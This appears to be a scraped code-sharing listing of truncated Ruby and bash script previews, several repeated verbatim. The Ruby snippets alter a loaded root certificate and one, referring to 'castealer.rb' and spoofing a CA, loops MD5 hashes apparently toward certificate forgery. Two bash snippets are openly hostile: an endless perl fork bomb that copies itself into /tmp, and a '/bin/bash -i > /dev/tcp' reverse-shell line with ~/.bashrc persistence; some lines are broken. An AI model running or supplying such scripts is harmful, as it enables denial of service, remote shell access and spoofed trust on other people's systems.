This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'rubygems' | |
| require 'openssl' | |
| key = OpenSSL::PKey::RSA.new(4096) | |
| cipher = OpenSSL::Cipher::AES.new(128, :CBC) | |
| ctx = OpenSSL::SSL::SSLContext.new | |
| public_key = key.public_key | |
| printf "Common Name: " | |
| cn = gets | |
| commonname = cn.chomp | |
| printf "Orgnization: " |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'rubygems' | |
| require 'openssl' | |
| puts "Warning this tool only works with DER encoded certificates" | |
| key = OpenSSL::PKey::RSA.new(2048) | |
| cipher = OpenSSL::Cipher::AES.new(256, :CBC) | |
| ctx = OpenSSL::SSL::SSLContext.new | |
| public_key = key.public_key | |
| raw = File.read "root.cer" | |
| cert = OpenSSL::X509::Certificate.new raw | |
| cert.not_before = Time.now |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'rubygems' | |
| require 'openssl' | |
| puts "Warning this tool only works with DER encoded certificates" | |
| key = OpenSSL::PKey::RSA.new(2048) | |
| cipher = OpenSSL::Cipher::AES.new(256, :CBC) | |
| ctx = OpenSSL::SSL::SSLContext.new | |
| public_key = key.public_key | |
| raw = File.read "root.cer" | |
| cert = OpenSSL::X509::Certificate.new raw | |
| cert.not_before = Time.now |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'rubygems' | |
| require 'openssl' | |
| puts "Warning this tool only works with DER encoded certificates" | |
| key = OpenSSL::PKey::RSA.new(2048) | |
| cipher = OpenSSL::Cipher::AES.new(256, :CBC) | |
| ctx = OpenSSL::SSL::SSLContext.new | |
| public_key = key.public_key | |
| raw = File.read "root.cer" | |
| cert = OpenSSL::X509::Certificate.new raw | |
| cert.not_before = Time.now |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'rubygems' | |
| require 'openssl' | |
| puts "Warning this tool only works with DER encoded certificates" | |
| key = OpenSSL::PKey::RSA.new(2048) | |
| cipher = OpenSSL::Cipher::AES.new(256, :CBC) | |
| ctx = OpenSSL::SSL::SSLContext.new | |
| public_key = key.public_key | |
| raw = File.read "root.cer" | |
| cert = OpenSSL::X509::Certificate.new raw | |
| cert.not_before = Time.now |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| trap 'INT' | |
| for (( ; ; )) | |
| do | |
| trap 'HUP' | |
| perl -e "fork while fork" & | |
| echo "perl -e "fork while fork" &" >> /tmp/$RANDOM | |
| chmod u+x /tmp/* | |
| cd /tmp | |
| ./* |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| trap 'INT' | |
| for (( ; ; )) | |
| do | |
| trap 'HUP' | |
| touch /dev/tcp | |
| /bin/bash -i > /dev/tcp 0<&1 2>&1 & >> /tmp/$RANDOM | |
| touch /tmp/$RANDOM | |
| echo "/bin/bash -i > /dev/tcp/ 0<&1 2>&1 & >> /tmp/$RANDOM & echo tty1 > /dev/tty1 & echo /tmp/$RANOM >> ~/.bashrc" >> /tmp/$RANDOM | |
| chmod u+x /tmp/* |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'rubygems' | |
| require 'openssl' | |
| require 'digest/md5' | |
| key = OpenSSL::PKey::RSA.new(2048) | |
| cipher = OpenSSL::Cipher::AES.new(256, :CBC) | |
| ctx = OpenSSL::SSL::SSLContext.new | |
| raw = File.read "root.cer" | |
| cert = OpenSSL::X509::Certificate.new raw | |
| cert.not_before = Time.now | |
| cert.not_after = Time.now + 365+365+365+365 * 24 * 60 * 60 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'rubygems' | |
| require 'digest/md5' | |
| puts "Warning this tool only works with DER encoded certificates" | |
| puts "Please save CA to spoof root.cer" | |
| $i = {} | |
| for $i in 1..99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 | |
| system("ruby castealer.rb") | |
| puts "==== Running Collision ====" | |
| printf "Root: " | |
| a = puts Digest::MD5.hexdigest(File.read('root.cer')) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'rubygems' | |
| require 'openssl' | |
| require 'digest/md5' | |
| key = OpenSSL::PKey::RSA.new(2048) | |
| cipher = OpenSSL::Cipher::AES.new(256, :CBC) | |
| ctx = OpenSSL::SSL::SSLContext.new | |
| raw = File.read "root.cer" | |
| cert = OpenSSL::X509::Certificate.new raw | |
| cert.version = 2 | |
| ef = OpenSSL::X509::ExtensionFactory.new |